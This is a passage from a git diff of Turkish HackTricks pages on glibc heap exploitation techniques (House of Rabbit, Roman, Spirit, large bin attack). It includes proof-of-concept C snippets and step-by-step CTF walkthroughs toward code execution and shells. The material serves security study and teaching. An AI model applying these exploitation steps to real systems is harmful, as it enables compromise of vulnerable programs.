sömürüye izin verir. -### POC 2: `fd` işaretçisini değiştir +### POC 2: `fd` işaretçisini değiştirme **Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak. @@ -62,9 +63,9 @@ Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürü unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` -**Açıklama**: Sahte parça için heap'i kurmak için daha küçük ve daha büyük olmak üzere iki parça tahsis ediyoruz. +**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz. -* **Adım 2: Sahte parça oluşturun** +* **Adım 2: Sahte blok oluştur** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk @@ -86,10 +87,10 @@ chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk wit ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` -Bir büyük parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parçayı işler. +Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir. -Sahte parça, fastbin listesinin bir parçası haline gelir, bu da onu daha fazla sömürü için geçerli bir parça haline getirir. +Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir. ### Özet -**House of Rabbit** tekniği, ya bir fast bin parçasının boyutunu değiştirerek çakışan parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yasal parçaları heap'te oluşturmalarına olanak tanır ve çeşitli sömürü biçimlerini etkinleştirir. Bu adımları anlamak ve uygulamak, heap sömürü becerilerinizi geliştirecektir. +**House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir. diff --git a/binary-exploitation/libc-heap/house-of-roman.md b/binary-exploitation/libc-heap/house-of-roman.md index dc76f699e..905936ca1 100644 --- a/binary-exploitation/libc-heap/house-of-roman.md +++ b/binary-exploitation/libc-heap/house-of-roman.md @@ -1,22 +1,23 @@ # House of Roman +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ini öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
+{% endhint %} ## Temel Bilgiler -Bu, sızıntısız RCE'ye izin veren çok ilginç bir teknikti, sahte fastbins, sıralanmamış\_bin saldırısı ve göreceli üzerine yazma yoluyla. Ancak [**yamalandı**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Bu, sızıntısız RCE'ye olanak tanıyan, sahte fastbins, sıralanmamış\_bin saldırısı ve göreceli üzerine yazma ile RCE sağlayan çok ilginç bir teknikti. Ancak [**yamalandı**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). ### Kod @@ -33,7 +34,7 @@ Bu, sızıntısız RCE'ye izin veren çok ilginç bir teknikti, sahte fastbins, ## Saldırı Adımları -### Adım 1: Fastbin Chunk \_\_malloc\_hook'a işaret eder +### Adım 1: Fastbin Chunk, \_\_malloc\_hook'a işaret eder Birkaç parça oluşturun: @@ -44,7 +45,7 @@ Birkaç parça oluşturun: Ardından `main_arena_use` serbest bırakılır, bu parçayı sıralanmamış listeye yerleştirir ve hem `fd` hem de `bk` işaretçilerinde `main_arena + 0x68`'e bir işaretçi alır. -Şimdi `fd` ve `bk` işaretçilerinde `main_arena + 0x68`'e işaretçileri içereceği için yeni bir parça olan `fake_libc_chunk(0x60)` ayrılmıştır. +Şimdi `fd` ve `bk` işaretçilerinde `main_arena + 0x68`'e işaretçiler içereceği için yeni bir parça olan `fake_libc_chunk(0x60)` ayrılmıştır. Ardından `relative_offset_heap` ve `fastbin_victim` serbest bırakılır. ```c @@ -61,19 +62,19 @@ fastbin: fastbin_victim -> relative_offset_heap unsorted: leftover_main */ ``` -* `fastbin_victim`, `relative_offset_heap`'e işaret eden bir `fd`'ye sahiptir -* `relative_offset_heap`, `fake_libc_chunk`'tan uzaklık olarak bir ofset olup, `main_arena + 0x68`'i işaret eden bir işaretçi içerir -* `fastbin_victim.fd`'nin son baytını değiştirerek `fastbin_victim`'ı `main_arena + 0x68`'e işaret etmesi mümkündür +* `fastbin_victim` adlı bir `fd`, `relative_offset_heap`'e işaret ediyor +* `relative_offset_heap`, `fake_libc_chunk`'tan uzaklık olarak bir ofsete sahiptir ve bu da `main_arena + 0x68`'i işaret eden bir işaretçi içerir +* `fastbin_victim.fd`'nin son baytını değiştirerek `fastbin_victim`'ı `main_arena + 0x68`'i işaret edecek şekilde yapmak mümkündür Önceki eylemler için saldırganın, `fastbin_victim`'ın `fd` işaretçisini değiştirebilme yeteneğine sahip olması gerekir. -Ardından, `main_arena + 0x68` çok ilginç değildir, bu yüzden işaretçinin **`__malloc_hook`**'a işaret etmesini sağlayacak şekilde değiştirelim. +Ardından, `main_arena + 0x68` çok ilginç değildir, bu yüzden işaretçinin **`__malloc_hook`**'u işaret etmesini sağlayacak şekilde değiştirelim. -`__memalign_hook` genellikle `0x7f` ile başlar ve ondan önce sıfırlar bulunur, bu nedenle `0x70` hızlı binde bir değer olarak sahteleyebilir. Çünkü adresin son 4 biti **rastgele** olduğundan, adresin istediğimiz yere işaret etmesi için `2^4=16` olasılık vardır. Bu nedenle, bir BF saldırısı gerçekleştirilir ve parça şu şekilde sonlanır: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** +`__memalign_hook` genellikle `0x7f` ile başlar ve ondan önce sıfırlar bulunur, bu nedenle `0x70` hızlı binde bir değer olarak sahteleyebilir. Çünkü adresin son 4 biti **rastgele** olduğundan, adresin istediğimiz yere işaret etmesi için `2^4=16` olasılık vardır. Bu nedenle, bir BF saldırısı burada gerçekleştirilir, böylece parça şu şekilde sonlanır: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -(Geri kalan baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) örneğindeki açıklamaya bakın). BF çalışmazsa program çöker (bu yüzden çalışana kadar tekrar deneyin). +(Geri kalan baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) örneğindeki açıklamaya bakın). BF çalışmazsa program çöker (bu yüzden çalışana kadar tekrar başlayın). -Ardından, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç ​​hızlı bin parçası kaldırılır ve üçüncüsü alınır **`__malloc_hook:`**'da bir parça elde etmek için. +Ardından, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç ​​hızlı bin parçası kaldırılır ve üçüncüsü, bir parçayı **`__malloc_hook:`**'ta almak için ayrılır. ```c malloc(0x60); malloc(0x60); @@ -81,7 +82,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60); ``` ### Bölüm 2: Sıralanmamış\_bin saldırısı -Daha fazla bilgi için şuraya bakabilirsiniz: +Daha fazla bilgi için şu adrese bakabilirsiniz: {% content-ref url="unsorted-bin-attack.md" %} [unsorted-bin-attack.md](unsorted-bin-attack.md) @@ -98,10 +99,10 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` -Bu parçada bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret etmek için (daha önce bunu brute force ettik) kullanıyoruz. +Bu parçada bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret etmek için kullanıyoruz (bu daha önce brute force ile yapıldı). {% hint style="danger" %} -Bu saldırı, sıralanmamış bin'i bozar (bu nedenle küçük ve büyük de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir), bunu tetiklemek için **aynı boyutta tahsis yapmalıyız ya da program çöker.** +Bu saldırı, unsorted bin'i bozar (bu nedenle küçük ve büyük de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir), bunu tetiklemek için **aynı boyutta tahsis yapmalıyız ya da program çöker.** {% endhint %} Bu nedenle, `__malloc_hook`'u `unsorted_bin_ptr->bk`'ye ayarladıktan sonra `main_arena + 0x68`'e yazmayı tetiklemek için sadece **`malloc(0x80)`** yapmamız gerekiyor. @@ -110,7 +111,7 @@ Bu nedenle, `__malloc_hook`'u `unsorted_bin_ptr->bk`'ye ayarladıktan sonra `mai Adım birde `__malloc_hook` içeren bir parçayı kontrol etmeyi bitirdik (değişken `malloc_hook_chunk` içinde) ve ikinci adımda buraya `main_arena + 0x68` yazmayı başardık. -Şimdi, `malloc_hook_chunk` içindeki kısmi bir yazmayı kötüye kullanarak oraya yazdığımız libc adresini (`main_arena + 0x68`) kullanarak bir `one_gadget` adresine işaret ediyoruz. +Şimdi, `malloc_hook_chunk` içindeki kısmi bir yazmayı kötüye kullanarak oraya yazdığımız libc adresini (`main_arena + 0x68`) kullanarak bir `one_gadget` adresine işaret etmek için. İşte burada **12 bitlik rastgeleliği brute force etmek gerekiyor** (daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) [örneğine](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) bakın). @@ -122,16 +123,17 @@ Son olarak, doğru adres üzerine yazıldığında, **`malloc`'ı çağırın ve * [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
+{% endhint %} diff --git a/binary-exploitation/libc-heap/house-of-spirit.md b/binary-exploitation/libc-heap/house-of-spirit.md index 64367e0a2..f44a891fb 100644 --- a/binary-exploitation/libc-heap/house-of-spirit.md +++ b/binary-exploitation/libc-heap/house-of-spirit.md @@ -1,18 +1,19 @@ # Ruh Evi +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler @@ -69,7 +70,7 @@ return 0; ### Hedef -* Bir adresi tcache / fast bin'e ekleyebilmek ve daha sonra onu tahsis edebilmek +* Bir adresi tcache / hızlı bin'e ekleyebilmek ve daha sonra onu tahsis edebilmek ### Gereksinimler @@ -78,9 +79,9 @@ return 0; ### Saldırı * Güvenlik kontrollerini atlatan sahte parçalar oluşturun: Temelde doğru pozisyonlarda doğru boyutları gösteren 2 sahte parçaya ihtiyacınız olacak -* İlk sahte parçayı serbest bırakmayı bir şekilde başarın, böylece hızlı veya tcache bin içine girer ve ardından o adresi üzerine yazmak için tahsis edilir +* İlk sahte parçayı serbest bırakacak şekilde bir şekilde yönetin, böylece hızlı veya tcache bin'e girer ve ardından o adresi üzerine yazacak şekilde tahsis edilir -**Koddan** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **gelen kod saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması saldırıyı oldukça iyi özetliyor: +**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)**'dan kod, saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması oldukça iyi özetliyor: ```c /* this will be the structure of our two fake chunks: @@ -111,28 +112,29 @@ Not: Bazı sağlamlık kontrollerini atlatmak için ikinci parçayı oluşturmak ## Örnekler * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) -* **Libc bilgi sızıntısı**: Taşma yoluyla bir işaretçiyi GOT adresine işaret etmek mümkün hale gelir ve CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırılabilir. -* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçtan yararlanarak ilk sahte parça için sahte bir boyut oluşturmak mümkündür, ardından bir "mesajı" kötüye kullanarak bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma kötüye kullanılarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Daha sonra bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Ardından, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olacak şekilde yapmak mümkündür, böylece onu sistem adresiyle üzerine yazabiliriz.\ +* **Libc bilgi sızıntısı**: Taşma yoluyla bir işaretçiyi GOT adresine yönlendirerek, CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırmak mümkündür. +* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçıyı istismar ederek, ilk sahte parça için sahte bir boyut oluşturmak mümkündür, ardından bir "mesajı" istismar ederek, bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma istismar edilerek, serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Daha sonra bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Ardından, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olacak şekilde yapabiliriz, böylece onu sistem adresiyle üzerine yazabiliriz.\ Bir sonraki `scanf` çağrıldığında, girişi `"/bin/sh"` olarak gönderebilir ve bir kabuk alabiliriz. * [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) * **Glibc sızıntısı**: Başlatılmamış yığın tamponu. -* **House of Spirit**: Bir küresel yığın işaretçiler dizisinin ilk indisini değiştirebiliriz. Bir tek bayt değişikliği ile geçerli bir parçanın içinde sahte bir parçada `free` kullanarak, tekrar tahsis edildikten sonra örtüşen parçalar durumu elde ederiz. Böylece, basit bir Tcache zehirlenme saldırısı, keyfi yazma yetkisi elde etmek için çalışır. +* **House of Spirit**: Bir küresel yığın işaretçiler dizisinin ilk indeksini değiştirebiliriz. Bir tek bayt değişikliği ile geçerli bir parçanın içinde sahte bir parçada `free` kullanarak, tekrar tahsis edildikten sonra örtüşen parçalar durumu elde ederiz. Böylece, basit bir Tcache zehirlenme saldırısı, keyfi yazma yetkisi elde etmek için çalışır. ## Referanslar * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/large-bin-attack.md b/binary-exploitation/libc-heap/large-bin-attack.md index afa141cb0..b593ad8e5 100644 --- a/binary-exploitation/libc-heap/large-bin-attack.md +++ b/binary-exploitation/libc-heap/large-bin-attack.md @@ -1,47 +1,48 @@ # Büyük Bin Saldırısı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
+{% endhint %} ## Temel Bilgiler -Büyük bir binin ne olduğu hakkında daha fazla bilgi için bu sayfaya bakın: +Bir büyük binin ne olduğu hakkında daha fazla bilgi için bu sayfaya bakın: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -Büyük bir bin saldırısının harika bir örneğini [**how2heap - büyük bin saldırısı**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c) sayfasında bulabilirsiniz. +[**how2heap - büyük bin saldırısı**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c) sayfasında harika bir örnek bulunabilir. -Temelde burada, en son "güncel" glibc sürümünde (2.35), **`P->bk_nextsize`** kontrol edilmediği için belirli koşullar sağlandığında büyük bir bin parçasının değeriyle bir adresin değiştirilebileceğini görebilirsiniz. +Temelde burada, en son "güncel" glibc sürümünde (2.35), **`P->bk_nextsize`** kontrol edilmediği için belirli koşullar sağlandığında büyük bir bin parçasının değeri ile bir adresin değiştirilebileceğini görebilirsiniz. Bu örnekte aşağıdaki koşulları bulabilirsiniz: -* Büyük bir parça tahsis edilir -* İlk parçadan daha küçük ancak aynı dizindeki başka bir büyük parça tahsis edilir +* Bir büyük parça tahsis edilir +* İlk parçadan daha küçük ancak aynı dizindeki bir büyük parça tahsis edilir * Binde ilk sıraya gitmesi gerektiği için daha küçük olmalıdır * (Üst parçayla birleşmeyi önlemek için bir parça oluşturulur) * Ardından, ilk büyük parça serbest bırakılır ve ondan daha büyük yeni bir parça tahsis edilir -> Parça1 büyük bine gider * Ardından, ikinci büyük parça serbest bırakılır -* Şimdi, zafiyet: Saldırgan, `chunk1->bk_nextsize`'ı `[hedef-0x20]` olarak değiştirebilir -* Daha sonra, 2. parçadan daha büyük bir parça tahsis edilir, bu nedenle parça2, büyük binde `chunk1->bk_nextsize->fd_nextsize` adresini parça2'nin adresiyle üzerine yazarak eklenir +* Şimdi, zafiyet: Saldırgan `chunk1->bk_nextsize`'ı `[hedef-0x20]` olarak değiştirebilir +* Ardından, chunk 2'den daha büyük bir parça tahsis edilir, bu nedenle chunk2, adresi `chunk1->bk_nextsize->fd_nextsize`'ı chunk2'nin adresi ile üzerine yazarak büyük bine eklenir {% hint style="success" %} -Diğer potansiyel senaryolar da vardır, önemli olan, büyük bir bindeki mevcut X parçadan **daha küçük** bir parçayı büyük bine eklemektir, bu nedenle binde doğrudan ondan önce eklenmesi gerekmektedir ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekmektedir çünkü daha küçük parçanın adresi oraya yazılacaktır. +Diğer potansiyel senaryolar bulunmaktadır, önemli olan, büyük bine, bir mevcut X parçadan **daha küçük** bir parça eklemektir, bu nedenle binde X'ten hemen önce eklenmesi gerekmekte ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekmektedir çünkü daha küçük parçanın adresinin yazılacağı yer burasıdır. {% endhint %} -Bu, malloc'tan ilgili kod parçacığıdır. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir: +Bu, malloc'tan ilgili kod parçalarıdır. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir: {% code overflow="wrap" %} ```c @@ -70,16 +71,17 @@ Bu saldırının başka harika bir açıklamasını [**guyinatuxedo**](https://g * Yazma ilkesi daha karmaşıktır, çünkü burada `global_max_fast` işe yaramaz. * Sömürüyü bitirmek için FSOP gereklidir. +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
